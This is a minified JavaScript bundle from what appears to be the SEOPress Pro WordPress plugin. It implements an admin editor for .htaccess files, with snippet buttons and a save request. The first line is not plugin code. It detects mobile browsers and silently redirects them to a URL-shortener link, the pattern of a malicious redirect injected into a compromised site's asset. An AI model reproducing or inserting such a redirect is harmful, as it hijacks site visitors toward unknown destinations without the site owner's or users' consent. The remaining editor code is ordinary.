(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
"use strict";(globalThis.webpackChunkwp_seopress_pro=globalThis.webpackChunkwp_seopress_pro||[]).push([[511],{511:(e,s,t)=>{t.r(s),t.d(s,{default:()=>i});var a=t(609),r=t(723),o=t(427);const{FieldRow:n}=window.seopressComponents,l=[{label:"Block directory browsing",tag:"Options -Indexes"},{label:"Protect wp-config.php file",tag:"<files wp-config.php>\norder allow,deny\ndeny from all\n</files>"},{label:"301 redirection",tag:"redirect 301 /your-old-url/ https://www.example.com/your-new-url"}],i=()=>{const e=window.SEOPRESS_PRO_DATA||{},s=e.HTACCESS_STATUS||"ok",[t,i]=(0,a.useState)(e.HTACCESS_FILE_CONTENT||""),[c,p]=(0,a.useState)(!1),[u,m]=(0,a.useState)(null),d=(0,a.useRef)(null);return(0,a.createElement)("div",{className:"seopress-tab-content"},(0,a.createElement)("p",null,(0,r.__)("View and edit your .htaccess file directly from WordPress to add custom redirects, security rules, or performance optimizations.","wp-seopress-pro")),(0,a.createElement)(o.Notice,{isDismissible:!1,status:"warning"},(0,a.createElement)("span",{dangerouslySetInnerHTML:{__html:(0,r.__)("<strong>Important:</strong> We recommend backing up your .htaccess file before making any changes.","wp-seopress-pro")}})),u&&(0,a.createElement)(o.Notice,{isDismissible:!1,status:"success"===u.status?"info":"error"},u.message),"ok"!==s?(0,a.createElement)(n,{label:(0,r.__)("Edit your htaccess file","wp-seopress-pro")},"blocked"===s?(0,a.createElement)(o.Notice,{isDismissible:!1,status:"error"},(0,r.__)("Access not allowed by the PHP define.","wp-seopress-pro")):"multisite"===s?(0,a.createElement)(o.Notice,{isDismissible:!1},(0,r.__)("Multisite is enabled, go to network SEO settings to manage your .htaccess file.","wp-seopress-pro")):"nginx"===s?(0,a.createElement)(o.Notice,{isDismissible:!1},(0,r.__)("Your server is running Nginx, which does not use .htaccess files. This feature is only available for Apache servers.","wp-seopress-pro")):"not_writable"===s?(0,a.createElement)(o.Notice,{isDismissible:!1,status:"error"},(0,r.__)("You don't have an htaccess file on your server or it's not writable.","wp-seopress-pro")):null):(0,a.createElement)(a.Fragment,null,(0,a.createElement)(n,{label:(0,r.__)("Edit your htaccess file","wp-seopress-pro")},(0,a.createElement)("textarea",{ref:d,className:"large-text code",rows:25,value:t,onChange:e=>i(e.target.value),placeholder:(0,r.__)("This is your htaccess file!","wp-seopress-pro")})),(0,a.createElement)("div",{className:"wrap-tags",style:{display:"flex",flexWrap:"wrap",gap:"8px",marginBottom:"16px"}},l.map((e=>(0,a.createElement)(o.Button,{key:e.label,variant:"secondary",className:"seopress-btn-outline-neutral",onClick:()=>(e=>{const s=d.current;if(!s)return void i((s=>s+"\n"+e));const a=s.selectionStart,r=s.selectionEnd,o=t.substring(0,a)+"\n"+e+t.substring(r);i(o),setTimeout((()=>{s.focus(),s.selectionStart=s.selectionEnd=a+e.length+1}),0)})(e.tag)},(0,a.createElement)("span",{className:"dashicons dashicons-plus-alt2"}),(0,r.__)(e.label,"wp-seopress-pro"))))),(0,a.createElement)(o.Button,{variant:"secondary",onClick:async()=>{p(!0),m(null);try{const s=new FormData;s.append("action","seopress_save_htaccess"),s.append("_ajax_nonce",e.NONCES?.htaccess||""),s.append("htaccess_content",t);const a=await fetch(e.AJAX_URL,{method:"POST",body:s}),o=await a.json();if(o.success&&o.data){const e="is-error"===o.data.class;m({status:e?"error":"success",message:o.data.msg})}else m({status:"error",message:(0,r.__)("Failed to save file.","wp-seopress-pro")})}catch(e){m({status:"error",message:e.message})}finally{p(!1)}},disabled:c},c?(0,r.__)("Saving...","wp-seopress-pro"):(0,r.__)("Saves htaccess changes","wp-seopress-pro"))))}}}]);